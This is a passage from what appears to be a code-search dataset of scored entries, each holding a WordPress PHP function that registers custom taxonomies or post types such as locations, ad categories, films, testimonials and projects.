'Competency Index' ),\n ),\n //Slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'competency_index', \n 'with_front' => false,\n 'hierarchical' => true \n ),\n ));\n add_custom_post_type();\n create_new_topic_index();\n add_metadata_taxonomies();\n}", "title": "" }, { "docid": "e0954fb0ba9474937367a466d75b8ae7", "score": "0.6329491", "text": "function create_hobbes_taxonomies() {\r\n \r\n register_taxonomy(\r\n 'post_location', // Your taxonomy title //\r\n 'post', // The Custom Post Type it will belong to //\r\n array(\r\n 'hierarchical' => true,\r\n 'labels' => array(\r\n 'name' => __('Locations'),\r\n 'singular_name' => __('Location of Post'),\r\n 'add_new' => __('Add New', 'Location'),\r\n 'add_new_item' => __('Add New Location'),\r\n 'edit_item' => __('Edit Location'),\r\n 'new_item' => __('New Location'),\r\n 'view_item' => __('View Location'),\r\n 'search_items' => __('Search Locations'),\r\n 'not_found' => __('Nothing found'),\r\n 'not_found_in_trash' => __('Nothing found in Trash'),\r\n 'parent_item_colon' => __ ('')\r\n ),\r\n 'query_var' => true,\r\n 'rewrite' => array('slug' => 'post-location')\r\n )\r\n );\r\n \r\n register_taxonomy(\r\n 'review_location', // Your taxonomy title //\r\n 'reviews', // The Custom Post Type it will belong to //\r\n array(\r\n 'hierarchical' => true,\r\n 'labels' => array(\r\n 'name' => __('Review Locations'),\r\n 'singular_name' => __('Location of Review'),\r\n 'add_new' => __('Add New', 'Location'),\r\n 'add_new_item' => __('Add New Review Location'),\r\n 'edit_item' => __('Edit Review Location'),\r\n 'new_item' => __('New Review Location'),\r\n 'view_item' => __('View Review Location'),\r\n 'search_items' => __('Search Locations'),\r\n 'not_found' => __('Nothing found'),\r\n 'not_found_in_trash' => __('Nothing found in Trash'),\r\n 'parent_item_colon' => __ ('')\r\n ),\r\n 'query_var' => true,\r\n 'rewrite' => array('slug' => 'review-location')\r\n )\r\n );\r\n \r\n register_taxonomy(\r\n 'case_study_location', // Your taxonomy title //\r\n 'case_studies', // The Custom Post Type it will belong to //\r\n array(\r\n 'hierarchical' => true,\r\n 'labels' => array(\r\n 'name' => __('Case Study Locations'),\r\n 'singular_name' => __('Location of Case Study'),\r\n 'add_new' => __('Add New', 'Location'),\r\n 'add_new_item' => __('Add New Case Study Location'),\r\n 'edit_item' => __('Edit Case Study Location'),\r\n 'new_item' => __('New Case Study Location'),\r\n 'view_item' => __('View Case Study Location'),\r\n 'search_items' => __('Search Locations'),\r\n 'not_found' => __('Nothing found'),\r\n 'not_found_in_trash' => __('Nothing found in Trash'),\r\n 'parent_item_colon' => __ ('')\r\n ),\r\n 'query_var' => true,\r\n 'rewrite' => array('slug' => 'case-study-location')\r\n )\r\n );\r\n \r\n register_taxonomy(\r\n 'case_study_type', // Your taxonomy title //\r\n 'case_studies', // The Custom Post Type it will belong to //\r\n array(\r\n 'hierarchical' => true,\r\n 'labels' => array(\r\n 'name' => __('Case Study Types'),\r\n 'singular_name' => __('Type of Case Study'),\r\n 'add_new' => __('Add New', 'Type'),\r\n 'add_new_item' => __('Add New Case Study Type'),\r\n 'edit_item' => __('Edit Case Study Type'),\r\n 'new_item' => __('New Case Study Type'),\r\n 'view_item' => __('View Case Study Type'),\r\n 'search_items' => __('Search Types'),\r\n 'not_found' => __('Nothing found'),\r\n 'not_found_in_trash' => __('Nothing found in Trash'),\r\n 'parent_item_colon' => __ ('')\r\n ),\r\n 'query_var' => true,\r\n 'rewrite' => array('slug' => 'case-study-type')\r\n )\r\n );\r\n \r\n // Addd the next taxonomy here //\r\n \r\n flush_rewrite_rules();\r\n}", "title": "" }, { "docid": "cc9036549251f3d7037d3417186882dc", "score": "0.63130885", "text": "private function registerTax() {\n $labels = array(\n 'name' => esc_html__('Masonry Gallery Categories', 'eltdf-core'),\n 'singular_name' => esc_html__('Masonry Gallery Category', 'eltdf-core'),\n 'search_items' => esc_html__('Search Masonry Gallery Categories', 'eltdf-core'),\n 'all_items' => esc_html__('All Masonry Gallery Categories', 'eltdf-core'),\n 'parent_item' => esc_html__('Parent Masonry Gallery Category', 'eltdf-core'),\n 'parent_item_colon' => esc_html__('Parent Masonry Gallery Category:', 'eltdf-core'),\n 'edit_item' => esc_html__('Edit Masonry Gallery Category', 'eltdf-core'),\n 'update_item' => esc_html__('Update Masonry Gallery Category', 'eltdf-core'),\n 'add_new_item' => esc_html__('Add New Masonry Gallery Category', 'eltdf-core'),\n 'new_item_name' => esc_html__('New Masonry Gallery Category Name', 'eltdf-core'),\n 'menu_name' => esc_html__('Masonry Gallery Categories', 'eltdf-core'),\n );\n\n register_taxonomy($this->taxBase, array($this->base), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'query_var' => true,\n 'show_admin_column' => true,\n 'rewrite' => array( 'slug' => 'masonry-gallery-category' ),\n ));\n }", "title": "" }, { "docid": "582dd5e6aba6f08cf3905891de9b4eb0", "score": "0.6311084", "text": "function add_proficiency_level() {\n\t$types = array('post','page','attachment','nav_menu_item', 'learning_resource');\n register_taxonomy('asn_proficiency_level', $types, array(\n 'hierarchical' => false,\n 'labels' => array(\n 'name' => _x( 'Proficiency Level', 'taxonomy general name' ),\n 'singular_name' => _x( 'Proficiency Level', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Proficiency Levels' ),\n 'all_items' => __( 'All Proficiency Levels' ),\n 'parent_item' => __( 'Parent Proficiency Levele' ),\n 'parent_item_colon' => __( 'Parent Proficiency Level:' ),\n 'edit_item' => __( 'Edit Proficiency Level' ),\n 'update_item' => __( 'Update Proficiency Level' ),\n 'add_new_item' => __( 'Add New Proficiency Level' ),\n 'new_item_name' => __( 'New Proficiency Level Name' ),\n 'menu_name' => __( 'Proficiency Level' ),\n ),\n //Slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'proficiency_level', \n 'with_front' => false,\n 'hierarchical' => false \n ),\n ));\n}", "title": "" }, { "docid": "a6ee7df956dc05624bc734a488dcc02b", "score": "0.63050985", "text": "function add_custom_taxonomies() {\r\n//\r\n// Taxonomia do TOP 10: Primária e Secundária\r\n register_taxonomy('categorias', 'topdez', array(\r\n 'hierarchical' => true,\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'labels' => array(\r\n 'name' => _x('Categorias', 'Categorias'),\r\n 'singular_name' => _x('categorias'),\r\n 'search_items' => __('Procurar categorias'),\r\n 'all_items' => __('Todas as categorias'),\r\n 'edit_item' => __('Editar Categoria'),\r\n 'update_item' => __('Atualizar categoria'),\r\n 'add_new_item' => __('Adicionar nova Categoria'),\r\n 'new_item_name' => __('Novo nome de Categoria'),\r\n 'menu_name' => __('Categorias'),\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n ),\r\n 'rewrite' => array(\r\n 'slug' => 'categorias',\r\n 'with_front' => false,\r\n 'hierarchical' => true\r\n ),\r\n ));\r\n //\r\n// Taxonomia IDIOMA\r\n register_taxonomy('idioma', array('page'), array(\r\n 'hierarchical' => true,\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'labels' => array(\r\n 'name' => _x('Idioma'),\r\n 'singular_name' => _x('idioma'),\r\n 'search_items' => __('Procurar idiomas'),\r\n 'all_items' => __('Todos os idiomas'),\r\n 'parent_item' => __('Idioma pai'),\r\n 'parent_item_colon' => __('Idioma pai:'),\r\n 'edit_item' => __('Editar idioma'),\r\n 'update_item' => __('Atualizar idioma'),\r\n 'add_new_item' => __('Adicionar novo idioma'),\r\n 'new_item_name' => __('Novo idioma'),\r\n 'menu_name' => __('Idioma'),\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n ),\r\n 'rewrite' => array(\r\n 'slug' => 'idioma',\r\n 'hierarchical' => true\r\n ),\r\n ));\r\n}", "title": "" }, { "docid": "67e0564358f8ec4c2589a200d20c2df6", "score": "0.628366", "text": "function create_taxonomies() {\r\n\t\t$labels = array(\r\n\t\t\t'name' => 'Ad Categories',\r\n\t\t\t'singular_name' => 'Ad Category',\r\n\t\t\t'search_items' => 'Search Ad Categories',\r\n\t\t\t'all_items' => 'All Ad Categories',\r\n\t\t\t'parent_item' => 'Parent Ad Category',\r\n\t\t\t'parent_item_colon' => 'Parent Ad Category:',\r\n\t\t\t'edit_item' => 'Edit Ad Category',\r\n\t\t\t'update_item' => 'Update Ad Category',\r\n\t\t\t'add_new_item' => 'Add New Ad Category',\r\n\t\t\t'new_item_name' => 'New Ad Category Name',\r\n\t\t\t'menu_name' => 'Ad Categories',\r\n\t\t\t);\r\n\r\n\t\t$args = array(\r\n\t\t\t'hierarchical' => true,\r\n\t\t\t'labels' => $labels,\r\n\t\t\t'show_ui' => true,\r\n\t\t\t'show_admin_column' => true,\r\n\t\t\t'query_var' => true,\r\n\t\t\t'rewrite' => false,\r\n\t\t\t);\r\n\r\n\t\tregister_taxonomy('mar_adverts_cats',array('mar_adverts'),$args);\r\n\r\n\t\t// Add new taxonomy, make it non-hierarchical (like tags)\r\n\t\t$labels = array(\r\n\t\t\t'name' => 'Ad Tags',\r\n\t\t\t'singular_name' => 'Ad Tag',\r\n\t\t\t'search_items' => 'Search Ad Tags',\r\n\t\t\t'all_items' => 'All Ad Tags',\r\n\t\t\t'parent_item' => 'Parent Ad Tag',\r\n\t\t\t'parent_item_colon' => 'Parent Ad Tag:',\r\n\t\t\t'edit_item' => 'Edit Ad Tag',\r\n\t\t\t'update_item' => 'Update Ad Tag',\r\n\t\t\t'add_new_item' => 'Add New Ad Tag',\r\n\t\t\t'new_item_name' => 'New Ad Tag Name',\r\n\t\t\t'menu_name' => 'Ad Tags',\r\n\t\t\t);\r\n\r\n\t\t$args = array(\r\n\t\t\t'hierarchical' => false,\r\n\t\t\t'labels' => $labels,\r\n\t\t\t'show_ui' => true,\r\n\t\t\t'show_admin_column' => true,\r\n\t\t\t'query_var' => true,\r\n\t\t\t'rewrite' => false,\r\n\t\t\t);\r\n\r\n\t\tregister_taxonomy('mar_adverts_tags',array('mar_adverts'),$args);\r\n\t}", "title": "" }, { "docid": "82e39aeb5124988e65367d0da79e7e29", "score": "0.627767", "text": "function create_isotope_taxonomies()\n{\n // Add new taxonomy, NOT hierarchical (like tags)\n $labels = array(\n 'name' => _x('Select Category', 'taxonomy general name'),\n 'singular_name' => _x('Category', 'taxonomy singular name'),\n 'search_items' => __('Search Categories'),\n 'popular_items' => __('Popular Categories'),\n 'all_items' => null,\n 'parent_item' => null,\n 'parent_item_colon' => null,\n 'edit_item' => __('Edit'),\n 'update_item' => __('Update'),\n 'add_new_item' => __('Add New'),\n 'new_item_name' => __('New Category'),\n 'separate_items_with_commas' => __('Separate writers with commas'),\n 'add_or_remove_items' => __('Add or remove categories'),\n 'choose_from_most_used' => __('Choose from the most used categories'),\n 'menu_name' => __('Categories')\n );\n \n register_taxonomy('fzproject_categories', 'fzproject_post', array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'update_count_callback' => '_update_post_term_count',\n 'query_var' => true,\n 'rewrite' => array(\n 'slug' => 'fzproject_categories'\n )\n ));\n}", "title": "" }, { "docid": "812f594a7f46d7a759f6d808cdf8ed35", "score": "0.6272137", "text": "function create_posttype() {\n\n\tregister_post_type( 'movies',\n\t// CPT Options\n\t\tarray(\n\t\t\t'labels' => array(\n\t\t\t\t'name' => __( 'Movies' ),\n\t\t\t\t'singular_name' => __( 'Movie' )\n\t\t\t),\n\t\t\t'public' => true,\n\n\t\t)\n\t);\n\t\n\t/* Register taxonony include Custom post*/\n\t\n\tregister_taxonomy( 'category', 'movies', array(\n\t\t'labels'=> array(\n\t\t\t'name'=>'Category custom',\n\t\t),\n\t\t'public'=>true,\n\t\t'hierarchical'=>true,\n\t)\n\t);\n\tregister_taxonomy( 'topic', 'movies', array(\n\t\t'labels'=> array(\n\t\t\t'name'=>'Custom Topic',\n\t\t),\n\t\t'public'=>true,\n\t\t\n\t)\n\t);\n\t\n}", "title": "" }, { "docid": "c1ce32f43bc5fc7cc3656ade633ca8f8", "score": "0.6271464", "text": "function custom_taxonomies() {\n }", "title": "" }, { "docid": "f2987b8fdb7d958d0507893b0a112b5b", "score": "0.6256238", "text": "function create_films_post_type()\n{\n register_post_type('films',\n [\n 'show_in_nav_menus' => true,\n 'labels' => [\n 'name' => __('Films'),\n 'singular_name' => __('Film')\n ],\n 'public' => true,\n 'hierarchical' => true,\n 'has_archive' => true,\n 'supports' => [\n 'thumbnail',\n 'title',\n 'editor'\n ],\n 'taxonomies' => [\n 'genre',\n 'country',\n 'years',\n 'actors'\n ]\n ]\n );\n}", "title": "" }, { "docid": "16f62993d9fd1e6637012bdfd9ceef81", "score": "0.6253531", "text": "public function faculty_course_custom_posttypes() {\n\t\t$labels = array(\n\t\t\t'name' => _x( 'Courses', 'Courses post type', 'academic' ),\n\t\t\t'singular_name' => _x( 'Course', 'Course', 'academic' ),\n\t\t\t'menu_name' => _x( 'Courses', 'admin menu', 'academic' ),\n\t\t\t'name_admin_bar' => _x( 'Course', 'add new on admin bar', 'academic' ),\n\t\t\t'add_new' => _x( 'Add New', 'Course', 'academic' ),\n\t\t\t'add_new_item' => __( 'Add New Course', 'academic' ),\n\t\t\t'new_item' => __( 'New Course', 'academic' ),\n\t\t\t'edit_item' => __( 'Edit Course', 'academic' ),\n\t\t\t'view_item' => __( 'View Course', 'academic' ),\n\t\t\t'all_items' => __( 'All Courses', 'academic' ),\n\t\t\t'search_items' => __( 'Search Course', 'academic' ),\n\t\t\t'parent_item_colon' => __( 'Parent Course:', 'academic' ),\n\t\t\t'not_found' => __( 'No Courses found.', 'academic' ),\n\t\t\t'not_found_in_trash' => __( 'No Courses found in Trash.', 'academic' )\n\t\t);\n\n\t\t$args = array(\n\t\t\t'labels' => $labels,\n\t\t\t'description' => __( 'Adds Course post type.', 'academic' ),\n\t\t\t'public' => true,\n\t\t\t'publicly_queryable' => true,\n\t\t\t'show_ui' => true,\n\t\t\t'show_in_menu' => true,\n\t\t\t'query_var' => true,\n\t\t\t'rewrite' => array( 'slug' => _x( 'faculty_courses', 'courses', 'academic' ) ),\n\t\t\t'capability_type' => 'post',\n\t\t\t'has_archive' => true,\n\t\t\t'hierarchical' => true,\n\t\t\t'menu_position' => 6,\n\t\t\t'menu_icon' \t => 'dashicons-welcome-learn-more',\n\t\t\t'supports' => array( 'title', 'thumbnail', 'revisions')\n\t\t);\n\n\t\tregister_post_type( 'course', $args );\n\t}", "title": "" }, { "docid": "cac40ab84b00fbdb1124e4f0c88fbc8c", "score": "0.62463045", "text": "function testimonials_register_post_type() {\n\n $labels = [\n 'name' => __('Testimonials'),\n 'singular_name' => __('Testimonial'),\n 'add_new' => __('Add new', 'Testimonials'),\n 'add_new_item' => __('Add new Testimonial'),\n 'edit_item' => __('Edit Testimonial'),\n 'new_item' => __('New Testimonial'),\n 'view_item' => __('View Testimonial'),\n 'search_item' => __('Search Testimonials'),\n 'not_found' => __('No Testimonial found'),\n 'not_found_in_trash' => __('No Testimonial found in trash'),\n 'parent_item_colon' => ''\n ];\n\n register_post_type(TESTIMONIAL_TYPE, [\n 'labels' => $labels,\n 'public' => true,\n 'exclude_from_search' => true,\n 'has_archive' => true,\n 'hierarchical' => false,\n 'supports' => ['title', 'editor', 'custom-fields']\n ]);\n\n register_taxonomy_for_object_type(CRAFT_TAX_NAME, TESTIMONIAL_TYPE);\n}", "title": "" }, { "docid": "d5082670541906021c2b32a158847e70", "score": "0.6235692", "text": "function user_registers_taxonomies() {\n\n $user_magic_taxonomy_maker_array = array(\n\t\t/*\n array(\n 'tax_singular' => 'Issue',\n 'tax_plural' => 'Issues',\n 'tax_slug' => 'issue', // lowercase letters and dashes only\n 'applicable_post_types' => array(\n 'resource',\n )\n ),\n\t\t*/\n );\n\n foreach( $user_magic_taxonomy_maker_array as $taxonomy ){\n $tax_singular = $taxonomy['tax_singular'];\n $tax_plural = $taxonomy['tax_plural'];\n $tax_slug = $taxonomy['tax_slug'];\n $applicable_post_types = $taxonomy['applicable_post_types'];\n\n $labels = user_generate_tax_labels_array($tax_singular, $tax_plural);\n $args = user_generate_tax_args_array($labels, $tax_slug);\n register_taxonomy( $tax_slug, $applicable_post_types, $args );\n }\n\n}", "title": "" }, { "docid": "1bb8617eb9592694f4b3ea758d3ce397", "score": "0.62327945", "text": "public function create_taxonomies() {\n\n if(!$this->get_url()){\n $this->add_error_log('Site url not found');\n $this->abort();\n return false;\n }\n \n $this->add_log('Creating taxonomies');\n\t\t\n\t\tforeach ($this->get_taxonomies() as $taxonomy) {\n\n $tax = new Entities\\Taxonomy();\n $tax->set_name( $taxonomy->name );\n $tax->set_description( $taxonomy->description );\n $tax->set_allow_insert('yes');\n $tax->set_status('publish'); \n\n if ($tax->validate()) {\n $tax = $this->tax_repo->insert($tax);\n\t\t\t\t\n\t\t\t\t$this->add_log('Taxonomy ' . $tax->get_name() . ' created, id from Old'. $taxonomy->term_id );\n\n $this->add_transient('tax_' . $taxonomy->term_id . '_id', $tax->get_id());\n $this->add_transient('tax_' . $taxonomy->term_id . '_name', $tax->get_name());\n\n if (isset($taxonomy->children) && $tax) {\n $this->add_all_terms($tax, $taxonomy->children);\n }\n\n } else {\n $this->add_log('Error creating taxonomy ' . $taxonomy->name );\n $this->add_log($tax->get_errors());\n \n }\n\n }\n\t\t\n\t\treturn false;\n }", "title": "" }, { "docid": "15454543d15aafa7ee554132ceac14b7", "score": "0.61974674", "text": "public function wpw_auto_poster_get_taxonomies(){\r\n\r\n global $wpw_auto_poster_options;\r\n\r\n $social_prefix = $_POST['social_type'];\r\n $static_post_type_arr = wpw_auto_poster_get_static_tag_taxonomy();\r\n\r\n $post_type_tags = array();\r\n $post_type_cats = array();\r\n $selected = $cathtml = $taghtml = '';\r\n\r\n /***** Custom post type TAG taxonomy code ******/\r\n // Check if any taxonomy tag is selected or not\r\n if(!empty( $_POST['selected_tags'])) {\r\n\r\n $pre_selected_tags = $_POST['selected_tags'];\r\n\r\n foreach ($pre_selected_tags as $pre_selected_tag) {\r\n $tagData = explode(\"|\",$pre_selected_tag);\r\n $post_type = $tagData[0];\r\n $post_tag= $tagData[1];\r\n $selected_tags[$post_type][] = $post_tag;\r\n }\r\n\r\n $post_type_tags = $selected_tags;\r\n\r\n }\r\n\r\n /***** Custom post type CATEGORY taxonomy code ******/\r\n // Check if any taxonomy category is selected or not\r\n if(!empty( $_POST['selected_cats'])) {\r\n\r\n $pre_selected_cats = $_POST['selected_cats'];\r\n\r\n foreach ($pre_selected_cats as $pre_selected_cat) {\r\n $tagData = explode(\"|\",$pre_selected_cat);\r\n $post_type = $tagData[0];\r\n $post_cat= $tagData[1];\r\n $selected_cats[$post_type][] = $post_cat;\r\n }\r\n\r\n $post_type_cats = $selected_cats;\r\n\r\n }\r\n\r\n // If $_POST for post type value is not empty\r\n if(!empty($_POST['post_type_val'])) {\r\n\r\n foreach($_POST['post_type_val'] as $post_type) {\r\n\r\n $html_tag = $html_cat = '';\r\n // Get all taxonomies defined for that post type\r\n $all_taxonomies = get_object_taxonomies( $post_type, 'objects' );\r\n\r\n // Loop on all taxonomies\r\n foreach ($all_taxonomies as $taxonomy){\r\n\r\n\r\n if(is_object($taxonomy) && $taxonomy->hierarchical == 1){\r\n\r\n $selected = \"\";\r\n\r\n if( isset( $post_type_cats[$post_type] ) && !empty( $post_type_cats[$post_type] ) ){\r\n $selected = ( in_array( $taxonomy->name, $post_type_cats[$post_type] ) ) ? 'selected=\"selected\"' : '';\r\n }\r\n\r\n $html_cat .= '<option value=\"' . $post_type.\"|\".$taxonomy->name . '\" '.$selected.'>'.$taxonomy->label.'</option>';\r\n\r\n } elseif (is_object($taxonomy) && $taxonomy->hierarchical != 1) {\r\n\r\n if( !empty( $static_post_type_arr[$post_type] ) && $static_post_type_arr[$post_type] != $taxonomy->name){\r\n continue;\r\n }\r\n $selected = \"\";\r\n\r\n if( isset( $post_type_tags[$post_type] ) && !empty( $post_type_tags[$post_type] ) ) {\r\n $selected = ( in_array( $taxonomy->name, $post_type_tags[$post_type] ) ) ? 'selected=\"selected\"' : '';\r\n }\r\n $html_tag .= '<option value=\"' .$post_type.\"|\".$taxonomy->name . '\" '.$selected.'>'.$taxonomy->label.'</option>';\r\n }\r\n }\r\n\r\n if(isset($html_cat) && !empty($html_cat)) {\r\n $cathtml .= '<optgroup label='.ucfirst($post_type).'>'.$html_cat.'</optgroup>';\r\n }\r\n if(isset($html_tag) && !empty($html_tag)) {\r\n $taghtml .= '<optgroup label='.ucfirst($post_type).'>'.$html_tag.'</optgroup>';\r\n }\r\n\r\n // Unset all values\r\n unset($html_cat);\r\n unset($html_tag);\r\n\r\n $response['data'] = array('categories'=> $cathtml, 'tags' => $taghtml);\r\n }\r\n echo json_encode($response);\r\n unset($response['data']);\r\n exit;\r\n }\r\n\r\n }", "title": "" }, { "docid": "77dbdea32525ecd38acefb1b308d7491", "score": "0.61946326", "text": "function inhabitant_post_types(){\n register_post_type('product',array( //register_post_type method from https://generatewp.com/\n 'has_archive'=> true,\n 'show_in_rest'=> true,\n 'public'=>true,\n 'supports'=> array('title','editor','thumbnail'),\n 'labels' =>array(\n 'name'=>'Products',\n 'add_new_item'=>'Add Newe Product',\n 'edit_item'=>'Edit Product',\n 'all_items'=>'All Products',\n 'singular_name'=>'Product'\n ),\n 'menu_icon'=>'dashicons-store'\n ));\n\n register_post_type('adventure',array( //register_post_type method from https://generatewp.com/\n 'has_archive'=> true,\n 'show_in_rest'=> true,\n 'public'=>true,\n 'supports'=> array('title','editor','thumbnail'),\n 'labels' =>array(\n 'name'=>'Adventure',\n 'add_new_item'=>'Add Newe Adventure',\n 'edit_item'=>'Edit Adventure',\n 'all_items'=>'All Adventure',\n 'singular_name'=>'Adventure'\n ),\n 'menu_icon'=>'dashicons-admin-site'\n ));\n \n//Register Customer Taxo\n $labels = array(\n 'name'=> _x( 'Product Types', 'Taxonomy General Name', 'Product Type' ),\n 'singular_name'=> _x( 'Product Types', 'Taxonomy Singular Name', 'Product Type' ),\n 'menu_name'=> __( 'Product Types', 'Product Type' ),\n 'all_items'=> __( 'All Items', 'Product Type' ),\n 'parent_item'=> __( 'Parent Item', 'Product Type' ),\n 'parent_item_colon'=> __( 'Parent Item:', 'Product Type' ),\n 'new_item_name'=> __( 'New Item Name', 'Product Type' ),\n 'add_new_item'=> __( 'Add New Item', 'Product Type' ),\n 'edit_item'=> __( 'Edit Item', 'Product Type' ),\n 'update_item'=> __( 'Update Item', 'Product Type' ),\n 'view_item'=> __( 'View Item', 'Product Type' ),\n 'separate_items_with_commas' => __( 'Separate items with commas', 'Product Type' ),\n 'add_or_remove_items'=> __( 'Add or remove items', 'Product Type' ),\n 'choose_from_most_used'=> __( 'Choose from the most used', 'Product Type' ),\n 'popular_items'=> __( 'Popular Items', 'Product Type' ),\n 'search_items'=> __( 'Search Items', 'Product Type' ),\n 'not_found'=> __( 'Not Found', 'Product Type' ),\n );\n $args = array(\n 'labels'=> $labels,\n 'hierarchical'=> true,\n 'public'=> true,\n 'show_ui'=> true,\n 'show_admin_column'=> true,\n 'show_in_nav_menus'=> true,\n 'show_tagcloud'=> true,\n );\n register_taxonomy( 'product-type', array( 'product' ), $args ); \n}", "title": "" }, { "docid": "9d8c5274622d9872c44c10ee61289667", "score": "0.6187081", "text": "function atoz_init() {\r\n\t// create a new taxonomy\r\n\tregister_taxonomy(\r\n\t\t'azcategory',\r\n\t\t'atoz',\r\n\t\tarray(\r\n\t\t\t'label' \t\t => __( 'AtoZ Category' ),\r\n\t\t\t'sort' \t\t\t=> true,\r\n\t\t\t'args' \t\t\t=> array( 'orderby' => 'atoz_order' ),\r\n\t\t\t'query_var'\t => true,\r\n\t\t\t//'rewrite'\t\t => true,\r\n\t\t\t'rewrite'\t\t => array( 'slug' => 'azcategory' ),\r\n\t\t\t'hierarchical' \t=> true\r\n\t\t)\r\n\t);\r\n}", "title": "" }, { "docid": "44337ea923d5e729bd865ba5bba9be12", "score": "0.61857057", "text": "function create_post_types() {\n}", "title": "" }, { "docid": "b20be6cbad8b1b09b81ecd937132698b", "score": "0.6175342", "text": "public function register_taxonomies()\n {\n }", "title": "" }, { "docid": "fe10468e03044f9b40ef3242afc0a268", "score": "0.61619717", "text": "function create_country_hierarchical_taxonomy() {\n \n// Add new taxonomy, make it hierarchical like categories\n//first do the translations part for GUI\n \n $labels = array(\n 'name' => _x( 'country', 'taxonomy general name' ),\n 'singular_name' => _x( 'country', 'taxonomy singular name' ),\n 'search_items' => __( 'Search countries' ),\n 'all_items' => __( 'All Countries' ),\n 'parent_item' => __( 'Parent country' ),\n 'parent_item_colon' => __( 'Parent \tcountry:' ),\n 'edit_item' => __( 'Edit country' ), \n 'update_item' => __( 'Update country' ),\n 'add_new_item' => __( 'Add New country' ),\n 'new_item_name' => __( 'New country Name' ),\n 'menu_name' => __( 'Countries' ),\n ); \n \n // Now register the taxonomy\n register_taxonomy('countries',array('voulunteer'), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_in_rest' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n //'rewrite' => array( 'slug' => 'country' ),\n\t'rewrite' => array( 'slug' => 'country', 'with_front' => false ),\n ));\n \n}", "title": "" }, { "docid": "3a589cc8bf099886193f6f6889d02229", "score": "0.61558294", "text": "function c_tax_job_of_team_member(){\n\n $labels = array(\n 'name' => _x( 'Job titles', 'taxonomy general name' ),\n 'singular_name' => _x( 'Job title', 'taxonomy singular name' ),\n 'search_items' => __( 'Chercher parmis les jobs titles' ),\n 'all_items' => __( 'Tous les jobs titles' ),\n 'parent_item' => __( 'Parent de job title' ),\n 'parent_item_colon' => __( 'Parent de job title:' ),\n 'edit_item' => __( 'Editer le job title' ), \n 'update_item' => __( 'Mettre à jour le job title' ),\n 'add_new_item' => __( 'Ajouter un nouveau job title' ),\n 'new_item_name' => __( 'Nom du nouveau job title' ),\n 'menu_name' => __( 'Job title' )\n );\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'capabilities' => array('assign_terms'),\n 'publicly_queryable' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'job-title', 'with_front' => true)\n );\n return register_taxonomy( 'job-title', 'team-member', $args );\n}", "title": "" }, { "docid": "de6ba7af00e7351be6ade17f07fce8b3", "score": "0.6149416", "text": "function create_event_type_taxonomies() {\r\n \r\n $labels = array(\r\n 'name' => _x( 'Events Type', 'taxonomy general name', 'textdomain' ),\r\n 'singular_name' => _x( 'Event Type', 'taxonomy singular name', 'textdomain' ),\r\n 'search_items' => __( 'Search Events Type', 'textdomain' ),\r\n 'all_items' => __( 'All Events Type', 'textdomain' ),\r\n 'parent_item' => __( 'Parent Event Type', 'textdomain' ),\r\n 'parent_item_colon' => __( 'Parent Event Type:', 'textdomain' ),\r\n 'edit_item' => __( 'Edit Event Type', 'textdomain' ),\r\n 'update_item' => __( 'Update Event Type', 'textdomain' ),\r\n 'add_new_item' => __( 'Add New Event Type', 'textdomain' ),\r\n 'new_item_name' => __( 'New Event Type Name', 'textdomain' ),\r\n 'menu_name' => __( 'Event Type', 'textdomain' ),\r\n );\r\n\r\n $args = array(\r\n 'hierarchical' => false, //false for \"taxonomy\" true for category\r\n 'labels' => $labels,\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'query_var' => true,\r\n 'rewrite' => array( 'slug' => 'event type' ),\r\n );\r\n register_taxonomy( 'event type', array( 'wporg_event' ), $args );\r\n}", "title": "" }, { "docid": "76b3981b9db9ab9609a088cc42c34a50", "score": "0.61440146", "text": "function ctrl_s_register_projetos_post_type_and_taxonomy() {\n\n // Add new post type projetos\n $labels = array(\n 'name' => _x( 'Projetos', 'Post type general name', 'ctrl-s' ),\n 'singular_name' => _x( 'Projeto', 'Post type singular name', 'ctrl-s' ),\n 'menu_name' => _x( 'Projetos', 'Admin Menu text', 'ctrl-s' ),\n 'name_admin_bar' => _x( 'Projeto', 'Add New on Toolbar', 'ctrl-s' ),\n 'add_new' => __( 'Adicionar novo', 'ctrl-s' ),\n 'add_new_item' => __( 'Adicionar novo projeto', 'ctrl-s' ),\n 'new_item' => __( 'Novo projeto', 'ctrl-s' ),\n 'edit_item' => __( 'Editar projeto', 'ctrl-s' ),\n 'view_item' => __( 'Ver projeto', 'ctrl-s' ),\n 'all_items' => __( 'Todos os projetos', 'ctrl-s' ),\n 'search_items' => __( 'Pesquisar projetos', 'ctrl-s' ),\n 'parent_item_colon' => __( 'Projeto pai:', 'ctrl-s' ),\n 'not_found' => __( 'Nenhum projeto encontrado.', 'ctrl-s' ),\n 'not_found_in_trash' => __( 'Nenhum projeto encontrado na lixeira.', 'ctrl-s' ),\n 'featured_image' => _x( 'Imagem de destaque do projeto', 'Overrides the “Featured Image” phrase for this post type. Added in 4.3', 'ctrl-s' ),\n 'set_featured_image' => _x( 'Atribuir imagem de destaque', 'Overrides the “Set featured image” phrase for this post type. Added in 4.3', 'ctrl-s' ),\n 'remove_featured_image' => _x( 'Remover imagem de destaque', 'Overrides the “Remove featured image” phrase for this post type. Added in 4.3', 'ctrl-s' ),\n 'use_featured_image' => _x( 'Usar como imagem de destaque', 'Overrides the “Use as featured image” phrase for this post type. Added in 4.3', 'ctrl-s' ),\n 'archives' => _x( 'Listas de projetos', 'The post type archive label used in nav menus. Default “Post Archives”. Added in 4.4', 'ctrl-s' ),\n 'insert_into_item' => _x( 'Inserir no projeto', 'Overrides the “Insert into post”/”Insert into page” phrase (used when inserting media into a post). Added in 4.4', 'ctrl-s' ),\n 'uploaded_to_this_item' => _x( 'Enviar para este projeto', 'Overrides the “Uploaded to this post”/”Uploaded to this page” phrase (used when viewing media attached to a post). Added in 4.4', 'ctrl-s' ),\n 'filter_items_list' => _x( 